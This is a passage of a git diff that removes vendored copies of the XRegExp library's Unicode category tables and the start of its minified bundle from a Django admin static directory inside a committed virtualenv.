'0-9\xB2\xB3\xB9\xBC-\xBE\u0660-\u0669\u06F0-\u06F9\u07C0-\u07C9\u0966-\u096F\u09E6-\u09EF\u09F4-\u09F9\u0A66-\u0A6F\u0AE6-\u0AEF\u0B66-\u0B6F\u0B72-\u0B77\u0BE6-\u0BF2\u0C66-\u0C6F\u0C78-\u0C7E\u0CE6-\u0CEF\u0D58-\u0D5E\u0D66-\u0D78\u0DE6-\u0DEF\u0E50-\u0E59\u0ED0-\u0ED9\u0F20-\u0F33\u1040-\u1049\u1090-\u1099\u1369-\u137C\u16EE-\u16F0\u17E0-\u17E9\u17F0-\u17F9\u1810-\u1819\u1946-\u194F\u19D0-\u19DA\u1A80-\u1A89\u1A90-\u1A99\u1B50-\u1B59\u1BB0-\u1BB9\u1C40-\u1C49\u1C50-\u1C59\u2070\u2074-\u2079\u2080-\u2089\u2150-\u2182\u2185-\u2189\u2460-\u249B\u24EA-\u24FF\u2776-\u2793\u2CFD\u3007\u3021-\u3029\u3038-\u303A\u3192-\u3195\u3220-\u3229\u3248-\u324F\u3251-\u325F\u3280-\u3289\u32B1-\u32BF\uA620-\uA629\uA6E6-\uA6EF\uA830-\uA835\uA8D0-\uA8D9\uA900-\uA909\uA9D0-\uA9D9\uA9F0-\uA9F9\uAA50-\uAA59\uABF0-\uABF9\uFF10-\uFF19', - 'astral': '\uD800[\uDD07-\uDD33\uDD40-\uDD78\uDD8A\uDD8B\uDEE1-\uDEFB\uDF20-\uDF23\uDF41\uDF4A\uDFD1-\uDFD5]|\uD801[\uDCA0-\uDCA9]|\uD802[\uDC58-\uDC5F\uDC79-\uDC7F\uDCA7-\uDCAF\uDCFB-\uDCFF\uDD16-\uDD1B\uDDBC\uDDBD\uDDC0-\uDDCF\uDDD2-\uDDFF\uDE40-\uDE48\uDE7D\uDE7E\uDE9D-\uDE9F\uDEEB-\uDEEF\uDF58-\uDF5F\uDF78-\uDF7F\uDFA9-\uDFAF]|\uD803[\uDCFA-\uDCFF\uDD30-\uDD39\uDE60-\uDE7E\uDF1D-\uDF26\uDF51-\uDF54\uDFC5-\uDFCB]|\uD804[\uDC52-\uDC6F\uDCF0-\uDCF9\uDD36-\uDD3F\uDDD0-\uDDD9\uDDE1-\uDDF4\uDEF0-\uDEF9]|\uD805[\uDC50-\uDC59\uDCD0-\uDCD9\uDE50-\uDE59\uDEC0-\uDEC9\uDF30-\uDF3B]|\uD806[\uDCE0-\uDCF2\uDD50-\uDD59]|\uD807[\uDC50-\uDC6C\uDD50-\uDD59\uDDA0-\uDDA9\uDFC0-\uDFD4]|\uD809[\uDC00-\uDC6E]|\uD81A[\uDE60-\uDE69\uDEC0-\uDEC9\uDF50-\uDF59\uDF5B-\uDF61]|\uD81B[\uDE80-\uDE96]|\uD834[\uDEE0-\uDEF3\uDF60-\uDF78]|\uD835[\uDFCE-\uDFFF]|\uD838[\uDD40-\uDD49\uDEF0-\uDEF9]|\uD83A[\uDCC7-\uDCCF\uDD50-\uDD59]|\uD83B[\uDC71-\uDCAB\uDCAD-\uDCAF\uDCB1-\uDCB4\uDD01-\uDD2D\uDD2F-\uDD3D]|\uD83C[\uDD00-\uDD0C]|\uD83E[\uDFF0-\uDFF9]' - }, - { - 'name': 'Nd', - 'alias': 'Decimal_Number', - 'bmp': '0-9\u0660-\u0669\u06F0-\u06F9\u07C0-\u07C9\u0966-\u096F\u09E6-\u09EF\u0A66-\u0A6F\u0AE6-\u0AEF\u0B66-\u0B6F\u0BE6-\u0BEF\u0C66-\u0C6F\u0CE6-\u0CEF\u0D66-\u0D6F\u0DE6-\u0DEF\u0E50-\u0E59\u0ED0-\u0ED9\u0F20-\u0F29\u1040-\u1049\u1090-\u1099\u17E0-\u17E9\u1810-\u1819\u1946-\u194F\u19D0-\u19D9\u1A80-\u1A89\u1A90-\u1A99\u1B50-\u1B59\u1BB0-\u1BB9\u1C40-\u1C49\u1C50-\u1C59\uA620-\uA629\uA8D0-\uA8D9\uA900-\uA909\uA9D0-\uA9D9\uA9F0-\uA9F9\uAA50-\uAA59\uABF0-\uABF9\uFF10-\uFF19', - 'astral': '\uD801[\uDCA0-\uDCA9]|\uD803[\uDD30-\uDD39]|\uD804[\uDC66-\uDC6F\uDCF0-\uDCF9\uDD36-\uDD3F\uDDD0-\uDDD9\uDEF0-\uDEF9]|\uD805[\uDC50-\uDC59\uDCD0-\uDCD9\uDE50-\uDE59\uDEC0-\uDEC9\uDF30-\uDF39]|\uD806[\uDCE0-\uDCE9\uDD50-\uDD59]|\uD807[\uDC50-\uDC59\uDD50-\uDD59\uDDA0-\uDDA9]|\uD81A[\uDE60-\uDE69\uDEC0-\uDEC9\uDF50-\uDF59]|\uD835[\uDFCE-\uDFFF]|\uD838[\uDD40-\uDD49\uDEF0-\uDEF9]|\uD83A[\uDD50-\uDD59]|\uD83E[\uDFF0-\uDFF9]' - }, - { - 'name': 'Nl', - 'alias': 'Letter_Number', - 'bmp': '\u16EE-\u16F0\u2160-\u2182\u2185-\u2188\u3007\u3021-\u3029\u3038-\u303A\uA6E6-\uA6EF', - 'astral': '\uD800[\uDD40-\uDD74\uDF41\uDF4A\uDFD1-\uDFD5]|\uD809[\uDC00-\uDC6E]' - }, - { - 'name': 'No', - 'alias': 'Other_Number', - 'bmp': '\xB2\xB3\xB9\xBC-\xBE\u09F4-\u09F9\u0B72-\u0B77\u0BF0-\u0BF2\u0C78-\u0C7E\u0D58-\u0D5E\u0D70-\u0D78\u0F2A-\u0F33\u1369-\u137C\u17F0-\u17F9\u19DA\u2070\u2074-\u2079\u2080-\u2089\u2150-\u215F\u2189\u2460-\u249B\u24EA-\u24FF\u2776-\u2793\u2CFD\u3192-\u3195\u3220-\u3229\u3248-\u324F\u3251-\u325F\u3280-\u3289\u32B1-\u32BF\uA830-\uA835', - 'astral': '\uD800[\uDD07-\uDD33\uDD75-\uDD78\uDD8A\uDD8B\uDEE1-\uDEFB\uDF20-\uDF23]|\uD802[\uDC58-\uDC5F\uDC79-\uDC7F\uDCA7-\uDCAF\uDCFB-\uDCFF\uDD16-\uDD1B\uDDBC\uDDBD\uDDC0-\uDDCF\uDDD2-\uDDFF\uDE40-\uDE48\uDE7D\uDE7E\uDE9D-\uDE9F\uDEEB-\uDEEF\uDF58-\uDF5F\uDF78-\uDF7F\uDFA9-\uDFAF]|\uD803[\uDCFA-\uDCFF\uDE60-\uDE7E\uDF1D-\uDF26\uDF51-\uDF54\uDFC5-\uDFCB]|\uD804[\uDC52-\uDC65\uDDE1-\uDDF4]|\uD805[\uDF3A\uDF3B]|\uD806[\uDCEA-\uDCF2]|\uD807[\uDC5A-\uDC6C\uDFC0-\uDFD4]|\uD81A[\uDF5B-\uDF61]|\uD81B[\uDE80-\uDE96]|\uD834[\uDEE0-\uDEF3\uDF60-\uDF78]|\uD83A[\uDCC7-\uDCCF]|\uD83B[\uDC71-\uDCAB\uDCAD-\uDCAF\uDCB1-\uDCB4\uDD01-\uDD2D\uDD2F-\uDD3D]|\uD83C[\uDD00-\uDD0C]' - }, - { - 'name': 'P', - 'alias': 'Punctuation', - 'bmp': '!-#%-\\*,-\\/:;\\?@\\[-\\]_\\{\\}\xA1\xA7\xAB\xB6\xB7\xBB\xBF\u037E\u0387\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061D-\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u09FD\u0A76\u0AF0\u0C77\u0C84\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F14\u0F3A-\u0F3D\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1360-\u1368\u1400\u166E\u169B\u169C\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1B7D\u1B7E\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CC0-\u1CC7\u1CD3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205E\u207D\u207E\u208D\u208E\u2308-\u230B\u2329\u232A\u2768-\u2775\u27C5\u27C6\u27E6-\u27EF\u2983-\u2998\u29D8-\u29DB\u29FC\u29FD\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00-\u2E2E\u2E30-\u2E4F\u2E52-\u2E5D\u3001-\u3003\u3008-\u3011\u3014-\u301F\u3030\u303D\u30A0\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA8FC\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uAAF0\uAAF1\uABEB\uFD3E\uFD3F\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF5F-\uFF65', - 'astral': '\uD800[\uDD00-\uDD02\uDF9F\uDFD0]|\uD801\uDD6F|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]|\uD803[\uDEAD\uDF55-\uDF59\uDF86-\uDF89]|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC8\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]|\uD805[\uDC4B-\uDC4F\uDC5A\uDC5B\uDC5D\uDCC6\uDDC1-\uDDD7\uDE41-\uDE43\uDE60-\uDE6C\uDEB9\uDF3C-\uDF3E]|\uD806[\uDC3B\uDD44-\uDD46\uDDE2\uDE3F-\uDE46\uDE9A-\uDE9C\uDE9E-\uDEA2]|\uD807[\uDC41-\uDC45\uDC70\uDC71\uDEF7\uDEF8\uDFFF]|\uD809[\uDC70-\uDC74]|\uD80B[\uDFF1\uDFF2]|\uD81A[\uDE6E\uDE6F\uDEF5\uDF37-\uDF3B\uDF44]|\uD81B[\uDE97-\uDE9A\uDFE2]|\uD82F\uDC9F|\uD836[\uDE87-\uDE8B]|\uD83A[\uDD5E\uDD5F]' - }, - { - 'name': 'Pc', - 'alias': 'Connector_Punctuation', - 'bmp': '_\u203F\u2040\u2054\uFE33\uFE34\uFE4D-\uFE4F\uFF3F' - }, - { - 'name': 'Pd', - 'alias': 'Dash_Punctuation', - 'bmp': '\\-\u058A\u05BE\u1400\u1806\u2010-\u2015\u2E17\u2E1A\u2E3A\u2E3B\u2E40\u2E5D\u301C\u3030\u30A0\uFE31\uFE32\uFE58\uFE63\uFF0D', - 'astral': '\uD803\uDEAD' - }, - { - 'name': 'Pe', - 'alias': 'Close_Punctuation', - 'bmp': '\\)\\]\\}\u0F3B\u0F3D\u169C\u2046\u207E\u208E\u2309\u230B\u232A\u2769\u276B\u276D\u276F\u2771\u2773\u2775\u27C6\u27E7\u27E9\u27EB\u27ED\u27EF\u2984\u2986\u2988\u298A\u298C\u298E\u2990\u2992\u2994\u2996\u2998\u29D9\u29DB\u29FD\u2E23\u2E25\u2E27\u2E29\u2E56\u2E58\u2E5A\u2E5C\u3009\u300B\u300D\u300F\u3011\u3015\u3017\u3019\u301B\u301E\u301F\uFD3E\uFE18\uFE36\uFE38\uFE3A\uFE3C\uFE3E\uFE40\uFE42\uFE44\uFE48\uFE5A\uFE5C\uFE5E\uFF09\uFF3D\uFF5D\uFF60\uFF63' - }, - { - 'name': 'Pf', - 'alias': 'Final_Punctuation', - 'bmp': '\xBB\u2019\u201D\u203A\u2E03\u2E05\u2E0A\u2E0D\u2E1D\u2E21' - }, - { - 'name': 'Pi', - 'alias': 'Initial_Punctuation', - 'bmp': '\xAB\u2018\u201B\u201C\u201F\u2039\u2E02\u2E04\u2E09\u2E0C\u2E1C\u2E20' - }, - { - 'name': 'Po', - 'alias': 'Other_Punctuation', - 'bmp': '!-#%-\'\\*,\\.\\/:;\\?@\\\xA1\xA7\xB6\xB7\xBF\u037E\u0387\u055A-\u055F\u0589\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061D-\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u09FD\u0A76\u0AF0\u0C77\u0C84\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F14\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1360-\u1368\u166E\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u1805\u1807-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1B7D\u1B7E\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CC0-\u1CC7\u1CD3\u2016\u2017\u2020-\u2027\u2030-\u2038\u203B-\u203E\u2041-\u2043\u2047-\u2051\u2053\u2055-\u205E\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00\u2E01\u2E06-\u2E08\u2E0B\u2E0E-\u2E16\u2E18\u2E19\u2E1B\u2E1E\u2E1F\u2E2A-\u2E2E\u2E30-\u2E39\u2E3C-\u2E3F\u2E41\u2E43-\u2E4F\u2E52-\u2E54\u3001-\u3003\u303D\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA8FC\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uAAF0\uAAF1\uABEB\uFE10-\uFE16\uFE19\uFE30\uFE45\uFE46\uFE49-\uFE4C\uFE50-\uFE52\uFE54-\uFE57\uFE5F-\uFE61\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF07\uFF0A\uFF0C\uFF0E\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3C\uFF61\uFF64\uFF65', - 'astral': '\uD800[\uDD00-\uDD02\uDF9F\uDFD0]|\uD801\uDD6F|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]|\uD803[\uDF55-\uDF59\uDF86-\uDF89]|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC8\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]|\uD805[\uDC4B-\uDC4F\uDC5A\uDC5B\uDC5D\uDCC6\uDDC1-\uDDD7\uDE41-\uDE43\uDE60-\uDE6C\uDEB9\uDF3C-\uDF3E]|\uD806[\uDC3B\uDD44-\uDD46\uDDE2\uDE3F-\uDE46\uDE9A-\uDE9C\uDE9E-\uDEA2]|\uD807[\uDC41-\uDC45\uDC70\uDC71\uDEF7\uDEF8\uDFFF]|\uD809[\uDC70-\uDC74]|\uD80B[\uDFF1\uDFF2]|\uD81A[\uDE6E\uDE6F\uDEF5\uDF37-\uDF3B\uDF44]|\uD81B[\uDE97-\uDE9A\uDFE2]|\uD82F\uDC9F|\uD836[\uDE87-\uDE8B]|\uD83A[\uDD5E\uDD5F]' - }, - { - 'name': 'Ps', - 'alias': 'Open_Punctuation', - 'bmp': '\\(\\[\\{\u0F3A\u0F3C\u169B\u201A\u201E\u2045\u207D\u208D\u2308\u230A\u2329\u2768\u276A\u276C\u276E\u2770\u2772\u2774\u27C5\u27E6\u27E8\u27EA\u27EC\u27EE\u2983\u2985\u2987\u2989\u298B\u298D\u298F\u2991\u2993\u2995\u2997\u29D8\u29DA\u29FC\u2E22\u2E24\u2E26\u2E28\u2E42\u2E55\u2E57\u2E59\u2E5B\u3008\u300A\u300C\u300E\u3010\u3014\u3016\u3018\u301A\u301D\uFD3F\uFE17\uFE35\uFE37\uFE39\uFE3B\uFE3D\uFE3F\uFE41\uFE43\uFE47\uFE59\uFE5B\uFE5D\uFF08\uFF3B\uFF5B\uFF5F\uFF62' - }, - { - 'name': 'S', - 'alias': 'Symbol', - 'bmp': '\\$\\+<->\\^`\\|~\xA2-\xA6\xA8\xA9\xAC\xAE-\xB1\xB4\xB8\xD7\xF7\u02C2-\u02C5\u02D2-\u02DF\u02E5-\u02EB\u02ED\u02EF-\u02FF\u0375\u0384\u0385\u03F6\u0482\u058D-\u058F\u0606-\u0608\u060B\u060E\u060F\u06DE\u06E9\u06FD\u06FE\u07F6\u07FE\u07FF\u0888\u09F2\u09F3\u09FA\u09FB\u0AF1\u0B70\u0BF3-\u0BFA\u0C7F\u0D4F\u0D79\u0E3F\u0F01-\u0F03\u0F13\u0F15-\u0F17\u0F1A-\u0F1F\u0F34\u0F36\u0F38\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE\u0FCF\u0FD5-\u0FD8\u109E\u109F\u1390-\u1399\u166D\u17DB\u1940\u19DE-\u19FF\u1B61-\u1B6A\u1B74-\u1B7C\u1FBD\u1FBF-\u1FC1\u1FCD-\u1FCF\u1FDD-\u1FDF\u1FED-\u1FEF\u1FFD\u1FFE\u2044\u2052\u207A-\u207C\u208A-\u208C\u20A0-\u20C0\u2100\u2101\u2103-\u2106\u2108\u2109\u2114\u2116-\u2118\u211E-\u2123\u2125\u2127\u2129\u212E\u213A\u213B\u2140-\u2144\u214A-\u214D\u214F\u218A\u218B\u2190-\u2307\u230C-\u2328\u232B-\u2426\u2440-\u244A\u249C-\u24E9\u2500-\u2767\u2794-\u27C4\u27C7-\u27E5\u27F0-\u2982\u2999-\u29D7\u29DC-\u29FB\u29FE-\u2B73\u2B76-\u2B95\u2B97-\u2BFF\u2CE5-\u2CEA\u2E50\u2E51\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3004\u3012\u3013\u3020\u3036\u3037\u303E\u303F\u309B\u309C\u3190\u3191\u3196-\u319F\u31C0-\u31E3\u3200-\u321E\u322A-\u3247\u3250\u3260-\u327F\u328A-\u32B0\u32C0-\u33FF\u4DC0-\u4DFF\uA490-\uA4C6\uA700-\uA716\uA720\uA721\uA789\uA78A\uA828-\uA82B\uA836-\uA839\uAA77-\uAA79\uAB5B\uAB6A\uAB6B\uFB29\uFBB2-\uFBC2\uFD40-\uFD4F\uFDCF\uFDFC-\uFDFF\uFE62\uFE64-\uFE66\uFE69\uFF04\uFF0B\uFF1C-\uFF1E\uFF3E\uFF40\uFF5C\uFF5E\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFFC\uFFFD', - 'astral': '\uD800[\uDD37-\uDD3F\uDD79-\uDD89\uDD8C-\uDD8E\uDD90-\uDD9C\uDDA0\uDDD0-\uDDFC]|\uD802[\uDC77\uDC78\uDEC8]|\uD805\uDF3F|\uD807[\uDFD5-\uDFF1]|\uD81A[\uDF3C-\uDF3F\uDF45]|\uD82F\uDC9C|\uD833[\uDF50-\uDFC3]|\uD834[\uDC00-\uDCF5\uDD00-\uDD26\uDD29-\uDD64\uDD6A-\uDD6C\uDD83\uDD84\uDD8C-\uDDA9\uDDAE-\uDDEA\uDE00-\uDE41\uDE45\uDF00-\uDF56]|\uD835[\uDEC1\uDEDB\uDEFB\uDF15\uDF35\uDF4F\uDF6F\uDF89\uDFA9\uDFC3]|\uD836[\uDC00-\uDDFF\uDE37-\uDE3A\uDE6D-\uDE74\uDE76-\uDE83\uDE85\uDE86]|\uD838[\uDD4F\uDEFF]|\uD83B[\uDCAC\uDCB0\uDD2E\uDEF0\uDEF1]|\uD83C[\uDC00-\uDC2B\uDC30-\uDC93\uDCA0-\uDCAE\uDCB1-\uDCBF\uDCC1-\uDCCF\uDCD1-\uDCF5\uDD0D-\uDDAD\uDDE6-\uDE02\uDE10-\uDE3B\uDE40-\uDE48\uDE50\uDE51\uDE60-\uDE65\uDF00-\uDFFF]|\uD83D[\uDC00-\uDED7\uDEDD-\uDEEC\uDEF0-\uDEFC\uDF00-\uDF73\uDF80-\uDFD8\uDFE0-\uDFEB\uDFF0]|\uD83E[\uDC00-\uDC0B\uDC10-\uDC47\uDC50-\uDC59\uDC60-\uDC87\uDC90-\uDCAD\uDCB0\uDCB1\uDD00-\uDE53\uDE60-\uDE6D\uDE70-\uDE74\uDE78-\uDE7C\uDE80-\uDE86\uDE90-\uDEAC\uDEB0-\uDEBA\uDEC0-\uDEC5\uDED0-\uDED9\uDEE0-\uDEE7\uDEF0-\uDEF6\uDF00-\uDF92\uDF94-\uDFCA]' - }, - { - 'name': 'Sc', - 'alias': 'Currency_Symbol', - 'bmp': '\\$\xA2-\xA5\u058F\u060B\u07FE\u07FF\u09F2\u09F3\u09FB\u0AF1\u0BF9\u0E3F\u17DB\u20A0-\u20C0\uA838\uFDFC\uFE69\uFF04\uFFE0\uFFE1\uFFE5\uFFE6', - 'astral': '\uD807[\uDFDD-\uDFE0]|\uD838\uDEFF|\uD83B\uDCB0' - }, - { - 'name': 'Sk', - 'alias': 'Modifier_Symbol', - 'bmp': '\\^`\xA8\xAF\xB4\xB8\u02C2-\u02C5\u02D2-\u02DF\u02E5-\u02EB\u02ED\u02EF-\u02FF\u0375\u0384\u0385\u0888\u1FBD\u1FBF-\u1FC1\u1FCD-\u1FCF\u1FDD-\u1FDF\u1FED-\u1FEF\u1FFD\u1FFE\u309B\u309C\uA700-\uA716\uA720\uA721\uA789\uA78A\uAB5B\uAB6A\uAB6B\uFBB2-\uFBC2\uFF3E\uFF40\uFFE3', - 'astral': '\uD83C[\uDFFB-\uDFFF]' - }, - { - 'name': 'Sm', - 'alias': 'Math_Symbol', - 'bmp': '\\+<->\\|~\xAC\xB1\xD7\xF7\u03F6\u0606-\u0608\u2044\u2052\u207A-\u207C\u208A-\u208C\u2118\u2140-\u2144\u214B\u2190-\u2194\u219A\u219B\u21A0\u21A3\u21A6\u21AE\u21CE\u21CF\u21D2\u21D4\u21F4-\u22FF\u2320\u2321\u237C\u239B-\u23B3\u23DC-\u23E1\u25B7\u25C1\u25F8-\u25FF\u266F\u27C0-\u27C4\u27C7-\u27E5\u27F0-\u27FF\u2900-\u2982\u2999-\u29D7\u29DC-\u29FB\u29FE-\u2AFF\u2B30-\u2B44\u2B47-\u2B4C\uFB29\uFE62\uFE64-\uFE66\uFF0B\uFF1C-\uFF1E\uFF5C\uFF5E\uFFE2\uFFE9-\uFFEC', - 'astral': '\uD835[\uDEC1\uDEDB\uDEFB\uDF15\uDF35\uDF4F\uDF6F\uDF89\uDFA9\uDFC3]|\uD83B[\uDEF0\uDEF1]' - }, - { - 'name': 'So', - 'alias': 'Other_Symbol', - 'bmp': '\xA6\xA9\xAE\xB0\u0482\u058D\u058E\u060E\u060F\u06DE\u06E9\u06FD\u06FE\u07F6\u09FA\u0B70\u0BF3-\u0BF8\u0BFA\u0C7F\u0D4F\u0D79\u0F01-\u0F03\u0F13\u0F15-\u0F17\u0F1A-\u0F1F\u0F34\u0F36\u0F38\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE\u0FCF\u0FD5-\u0FD8\u109E\u109F\u1390-\u1399\u166D\u1940\u19DE-\u19FF\u1B61-\u1B6A\u1B74-\u1B7C\u2100\u2101\u2103-\u2106\u2108\u2109\u2114\u2116\u2117\u211E-\u2123\u2125\u2127\u2129\u212E\u213A\u213B\u214A\u214C\u214D\u214F\u218A\u218B\u2195-\u2199\u219C-\u219F\u21A1\u21A2\u21A4\u21A5\u21A7-\u21AD\u21AF-\u21CD\u21D0\u21D1\u21D3\u21D5-\u21F3\u2300-\u2307\u230C-\u231F\u2322-\u2328\u232B-\u237B\u237D-\u239A\u23B4-\u23DB\u23E2-\u2426\u2440-\u244A\u249C-\u24E9\u2500-\u25B6\u25B8-\u25C0\u25C2-\u25F7\u2600-\u266E\u2670-\u2767\u2794-\u27BF\u2800-\u28FF\u2B00-\u2B2F\u2B45\u2B46\u2B4D-\u2B73\u2B76-\u2B95\u2B97-\u2BFF\u2CE5-\u2CEA\u2E50\u2E51\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3004\u3012\u3013\u3020\u3036\u3037\u303E\u303F\u3190\u3191\u3196-\u319F\u31C0-\u31E3\u3200-\u321E\u322A-\u3247\u3250\u3260-\u327F\u328A-\u32B0\u32C0-\u33FF\u4DC0-\u4DFF\uA490-\uA4C6\uA828-\uA82B\uA836\uA837\uA839\uAA77-\uAA79\uFD40-\uFD4F\uFDCF\uFDFD-\uFDFF\uFFE4\uFFE8\uFFED\uFFEE\uFFFC\uFFFD', - 'astral': '\uD800[\uDD37-\uDD3F\uDD79-\uDD89\uDD8C-\uDD8E\uDD90-\uDD9C\uDDA0\uDDD0-\uDDFC]|\uD802[\uDC77\uDC78\uDEC8]|\uD805\uDF3F|\uD807[\uDFD5-\uDFDC\uDFE1-\uDFF1]|\uD81A[\uDF3C-\uDF3F\uDF45]|\uD82F\uDC9C|\uD833[\uDF50-\uDFC3]|\uD834[\uDC00-\uDCF5\uDD00-\uDD26\uDD29-\uDD64\uDD6A-\uDD6C\uDD83\uDD84\uDD8C-\uDDA9\uDDAE-\uDDEA\uDE00-\uDE41\uDE45\uDF00-\uDF56]|\uD836[\uDC00-\uDDFF\uDE37-\uDE3A\uDE6D-\uDE74\uDE76-\uDE83\uDE85\uDE86]|\uD838\uDD4F|\uD83B[\uDCAC\uDD2E]|\uD83C[\uDC00-\uDC2B\uDC30-\uDC93\uDCA0-\uDCAE\uDCB1-\uDCBF\uDCC1-\uDCCF\uDCD1-\uDCF5\uDD0D-\uDDAD\uDDE6-\uDE02\uDE10-\uDE3B\uDE40-\uDE48\uDE50\uDE51\uDE60-\uDE65\uDF00-\uDFFA]|\uD83D[\uDC00-\uDED7\uDEDD-\uDEEC\uDEF0-\uDEFC\uDF00-\uDF73\uDF80-\uDFD8\uDFE0-\uDFEB\uDFF0]|\uD83E[\uDC00-\uDC0B\uDC10-\uDC47\uDC50-\uDC59\uDC60-\uDC87\uDC90-\uDCAD\uDCB0\uDCB1\uDD00-\uDE53\uDE60-\uDE6D\uDE70-\uDE74\uDE78-\uDE7C\uDE80-\uDE86\uDE90-\uDEAC\uDEB0-\uDEBA\uDEC0-\uDEC5\uDED0-\uDED9\uDEE0-\uDEE7\uDEF0-\uDEF6\uDF00-\uDF92\uDF94-\uDFCA]' - }, - { - 'name': 'Z', - 'alias': 'Separator', - 'bmp': ' \xA0\u1680\u2000-\u200A\u2028\u2029\u202F\u205F\u3000' - }, - { - 'name': 'Zl', - 'alias': 'Line_Separator', - 'bmp': '\u2028' - }, - { - 'name': 'Zp', - 'alias': 'Paragraph_Separator', - 'bmp': '\u2029' - }, - { - 'name': 'Zs', - 'alias': 'Space_Separator', - 'bmp': ' \xA0\u1680\u2000-\u200A\u202F\u205F\u3000' - } -]; - -},{}]},{},[3])(3) -}); diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.min.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.min.js deleted file mode 100644 index 6d36ca56..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.min.js +++ /dev/null @@ -1,17 +0,0 @@ -!function(u){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=u();else if("function"==typeof define&&define.amd)define([],u);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).XRegExp=u()}}((function(){return function r(u,d,t){function o(c,i){if(!d[c]){if(!u[c]){var l="function"==typeof require&&require;if(!i&&l)return l(c,!0);if(a)return a(c,!0);var D=new Error("Cannot find module '"+c+"'");throw D.code="MODULE_NOT_FOUND",D}var p=d[c]={exports:{}};u[c][0].call(p.exports,(function(d){return o(u[c][1][d]||d)}),p,p.exports,r,u,d,t)}return d[c].exports}for(var a="function"==typeof require&&require,c=0;c<t.length;c++)o(t[c]);return o}({1:[function(u,d,t){"use strict";var a=u("@babel/runtime-corejs3/core-js-stable/instance/slice"),c=u("@babel/runtime-corejs3/core-js-stable/array/from"),i=u("@babel/runtime-corejs3/core-js-stable/symbol"),l=u("@babel/runtime-corejs3/core-js/get-iterator-method"),D=u("@babel/runtime-corejs3/core-js-stable/array/is-array"),p=u("@babel/runtime-corejs3/core-js-stable/object/define-property"),b=u("@babel/runtime-corejs3/helpers/interopRequireDefault");p(t,"__esModule",{value:!0}),t.default=void 0;var y=b(u("@babel/runtime-corejs3/helpers/slicedToArray")),m=b(u("@babel/runtime-corejs3/core-js-stable/instance/for-each")),A=b(u("@babel/runtime-corejs3/core-js-stable/instance/concat")),E=b(u("@babel/runtime-corejs3/core-js-stable/instance/index-of"));function _createForOfIteratorHelper(u,d){var t=void 0!==i&&l(u)||u["@@iterator"];if(!t){if(D(u)||(t=function _unsupportedIterableToArray(u,d){var t;if(!u)return;if("string"==typeof u)return _arrayLikeToArray(u,d);var i=a(t=Object.prototype.toString.call(u)).call(t,8,-1);"Object"===i&&u.constructor&&(i=u.constructor.name);if("Map"===i||"Set"===i)return c(u);if("Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i))return 